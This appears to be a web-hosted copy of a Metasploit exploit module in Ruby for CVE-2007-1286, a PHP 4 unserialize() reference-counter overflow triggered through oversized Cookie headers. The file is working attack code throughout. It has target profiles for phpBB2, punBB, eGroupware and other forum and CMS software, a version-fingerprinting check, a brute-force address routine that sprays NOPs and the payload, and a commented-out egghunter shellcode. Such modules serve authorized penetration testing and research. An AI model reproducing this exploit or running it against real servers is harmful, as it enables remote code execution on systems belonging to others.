Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/php/php_unserialize_zval_cookie.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Brute1112def initialize(info = {})13super(update_info(info,14'Name' => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',15'Description' => %q{16This module exploits an integer overflow vulnerability in the unserialize()17function of the PHP web server extension. This vulnerability was patched by18Stefan in version 4.5.0 and applies all previous versions supporting this function.19This particular module targets numerous web applications and is based on the proof20of concept provided by Stefan Esser. This vulnerability requires approximately 900k21of data to trigger due the multiple Cookie headers requirement. Since we22are already assuming a fast network connection, we use a 2Mb block of shellcode for23the brute force, allowing quick exploitation for those with fast networks.2425One of the neat things about this vulnerability is that on x86 systems, the EDI register points26into the beginning of the hashtable string. This can be used with an egghunter to27quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction28is known. The EDI method is faster, but the bandwidth-intensive brute force used by this29module is more reliable across a wider range of systems.30},31'Author' =>32[33'hdm', # module development34'GML <grandmasterlogic[at]gmail.com>', # module development and debugging35'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited36],37'License' => MSF_LICENSE,38'References' =>39[40['CVE', '2007-1286'],41['OSVDB', '32771'],42['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],43],44'Privileged' => false,45'Payload' =>46{47'Space' => 1024,48},49'Platform' => %w{ linux },50'Targets' =>51[5253#54# 64-bit SuSE: 0x005c000055# Backtrack 2.0: 0xb797a00056# Gentoo: 0xb690000057#58[ 'Linux x86 Generic',59{60'Platform' => 'linux',61'Arch' => [ ARCH_X86 ],62'Bruteforce' =>63{64'Start' => { 'Ret' => 0xb6000400 },65'Stop' => { 'Ret' => 0xbfff0000 },66'Step' => 1024*102467}68}69],70[ 'Linux x86 phpBB2',71{72'DefaultCookie' => 'phpbb2mysql_data',73'DefaultURI' => '/phpBB2/faq.php',74'Signature' => /Powered\s+by.*phpBB/,75'Platform' => 'linux',76'Arch' => [ ARCH_X86 ],77'Bruteforce' =>78{79'Start' => { 'Ret' => 0xb6000400 },80'Stop' => { 'Ret' => 0xbfff0000 },81'Step' => 1024*102482}83}84],85[ 'Linux x86 punBB',86{87'DefaultCookie' => 'punbb_cookie',88'DefaultURI' => '/index.php',89'Signature' => /Powered\s+by.*PunBB/,90'Platform' => 'linux',91'Arch' => [ ARCH_X86 ],92'Bruteforce' =>93{94'Start' => { 'Ret' => 0xb6000400 },95'Stop' => { 'Ret' => 0xbfff0000 },96'Step' => 1024*102497}98}99],100[ 'Linux x86 WWWThreads',101{102'DefaultCookie' => 'forum_cookie',103'DefaultURI' => '/index.php',104'Signature' => /Powered\s+by.*WWWThreads/,105'Platform' => 'linux',106'Arch' => [ ARCH_X86 ],107'Bruteforce' =>108{109'Start' => { 'Ret' => 0xb6000400 },110'Stop' => { 'Ret' => 0xbfff0000 },111'Step' => 1024*1024112}113}114],115[ 'Linux x86 Deadman Redirect',116{117'DefaultCookie' => 'authcookie',118'DefaultURI' => '/dmr/dmr.php',119'Signature' => /document\.f\.userdata\.focus/,120'Platform' => 'linux',121'Arch' => [ ARCH_X86 ],122'Bruteforce' =>123{124'Start' => { 'Ret' => 0xb6000400 },125'Stop' => { 'Ret' => 0xbfff0000 },126'Step' => 1024*1024127}128}129],130[ 'Linux x86 PhpWebGallery',131{132'DefaultCookie' => 'pwg_remember',133'DefaultURI' => '/phpwebgallery/index.php',134'Signature' => /Powered\s+by.*phpwebgallery/msi,135'Platform' => 'linux',136'Arch' => [ ARCH_X86 ],137'Bruteforce' =>138{139'Start' => { 'Ret' => 0xb6000400 },140'Stop' => { 'Ret' => 0xbfff0000 },141'Step' => 1024*1024142}143}144],145[ 'Linux x86 Ariadne-CMS',146{147'DefaultCookie' => 'ARCookie',148'DefaultURI' => '/ariadne/loader.php/',149'Signature' => /Ariadne is free software/,150'Platform' => 'linux',151'Arch' => [ ARCH_X86 ],152'Bruteforce' =>153{154'Start' => { 'Ret' => 0xb6000400 },155'Stop' => { 'Ret' => 0xbfff0000 },156'Step' => 1024*1024157}158}159],160[ 'Linux x86 ProMA',161{162'DefaultCookie' => 'proma',163'DefaultURI' => '/proma/index.php',164'Signature' => /Change Account Information/,165'Platform' => 'linux',166'Arch' => [ ARCH_X86 ],167'Bruteforce' =>168{169'Start' => { 'Ret' => 0xb6000400 },170'Stop' => { 'Ret' => 0xbfff0000 },171'Step' => 1024*1024172}173}174],175[ 'Linux x86 eGroupware',176{177'DefaultCookie' => 'eGW_remember',178'DefaultURI' => '/egroupware/login.php',179'Signature' => /www.egroupware.org/,180'Platform' => 'linux',181'Arch' => [ ARCH_X86 ],182'Bruteforce' =>183{184'Start' => { 'Ret' => 0xb6000400 },185'Stop' => { 'Ret' => 0xbfff0000 },186'Step' => 1024*1024187}188}189]190],191'DisclosureDate' => '2007-03-04'))192193register_options(194[195OptString.new('URI', [false, "The path to vulnerable PHP script"]),196OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])197])198end199200201def check202vprint_status("Checking for a vulnerable PHP version...")203204#205# Pick the URI and Cookie name206#207cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']208uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']209210if(not cookie_name)211fail_with(Failure::Unknown, "The COOKIENAME option must be set")212end213214if(not uri_path)215fail_with(Failure::Unknown, "The URI option must be set")216end217218res = send_request_cgi({219'uri' => uri_path,220'method' => 'GET'221}, 5)222223php_bug = false224225if (not res)226vprint_status("No response from the server")227return Exploit::CheckCode::Unknown # User should try again228end229230http_fingerprint({ :response => res }) # check method231232if (res.code != 200)233vprint_status("The server returned #{res.code} #{res.message}")234return Exploit::CheckCode::Safe235end236237if (238(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or239(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)240)241242php_raw = $1243php_ver = php_raw.split('.')244245if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)246vprint_status("The server runs a vulnerable version of PHP (#{php_raw})")247php_bug = true248else249vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})")250return Exploit::CheckCode::Safe251end252end253254# Detect the phpBB cookie name255if res.get_cookies =~ /(.*)_(sid|data)=/256vprint_status("The server may require a cookie name of '#{$1}_data'")257end258259if(target and target['Signature'])260if (res.body and res.body.match(target['Signature']))261vprint_status("Detected target #{target.name}")262else263vprint_status("Did not detect target #{target.name}")264end265266end267268return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected269end270271272def brute_exploit(target_addrs)273274zvalref = encode_semis('i:0;R:2;')275276#277# Use this if we decide to do 'jmp edi' returns vs brute force278#279=begin280# Linux specific egg-hunter281tagger = "\x90\x50\x90\x50"282hunter =283"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +284"\x3c\xf2\x74\xf1\xb8" +285tagger +286"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"287288egghunter = "\xcc" * 39289egghunter[0, hunter.length] = hunter290291hashtable = "\xcc" * 39292hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes293294hashtable[20, 4] = [target_addrs['Ret']].pack('V')295hashtable[32, 4] = [target_addrs['Ret']].pack('V')296=end297298#299# Just brute-force addresses for now300#301tagger = ''302egghunter = rand_text_alphanumeric(39)303hashtable = rand_text_alphanumeric(39)304hashtable[20, 4] = [target_addrs['Ret']].pack('V')305hashtable[32, 4] = [target_addrs['Ret']].pack('V')306307308#309# Pick the URI and Cookie name310#311cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']312uri_path = normalize_uri(datastore['URI']) || target['DefaultURI']313314if(not cookie_name)315fail_with(Failure::Unknown, "The COOKIENAME option must be set")316end317318if(not uri_path)319fail_with(Failure::Unknown, "The URI option must be set")320end321322# Generate and reuse the original buffer to save CPU323if (not @saved_cookies)324325# Building the malicious request326print_status("Creating the request...")327328# Create the first cookie header to get this started329cookie_fun = "Cookie: #{cookie_name}="330cookie_fun << Rex::Text.uri_encode(331'a:100000:{s:8:"' +332rand_text_alphanumeric(8) +333'";a:3:{s:12:"' +334rand_text_alphanumeric(12) +335'";a:1:{s:12:"' +336rand_text_alphanumeric(12) +337'";i:0;}s:12:"' +338rand_text_alphanumeric(12) +339'";'+340'i:0;s:12:"' +341rand_text_alphanumeric(12) +342'";i:0;}'343)344cookie_fun << zvalref * 500345cookie_fun << Rex::Text.uri_encode('s:2:"')346cookie_fun << "\r\n"347348refcnt = 1000349refmax = 65535350351# Keep adding cookie headers...352while(refcnt < refmax)353354chead = 'Cookie: ';355chead << encode_semis('";N;')356357# Stay within the 8192 byte limit3580.upto(679) do |i|359break if refcnt >= refmax360refcnt += 1361362chead << zvalref363end364chead << encode_semis('s:2:"')365cookie_fun << chead + "\r\n"366end367368# The final header, including the hashtable with return address369cookie_fun << "Cookie: "370cookie_fun << Rex::Text.uri_encode('";N;')371cookie_fun << zvalref * 500372373@saved_cookies = cookie_fun374end375376# Generate and reuse the payload to save CPU time377if (not @saved_payload)378@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)379end380381cookie_addrs = Rex::Text.uri_encode(382's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'383) + "\r\n"384385print_status("Trying address 0x%.8x..." % target_addrs['Ret'])386res = send_request_cgi({387'uri' => uri_path,388'method' => 'POST',389'raw_headers' => @saved_cookies + cookie_addrs,390'data' => @saved_payload391}, 1)392393394if res395failed = false396397print_status("Received a response: #{res.code} #{res.message}")398399if (res.code != 200)400print_error("The server returned a non-200 response, indicating that the exploit failed")401failed = true402end403404if (not failed and (res.body and res.body.length > 0))405print_error("The server returned a real response, indicating that the exploit failed")406failed = true407end408409if (failed)410print_status("Please verify the URI and COOKIENAME parameters.")411print_line('')412print_line("*" * 40)413print_line(res.body)414print_line("*" * 40)415print_line('')416417fail_with(Failure::Unknown, "Exploit settings are probably wrong")418end419else420print_status("No response from the server")421end422423end424425def encode_semis(str)426str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }427end428end429430431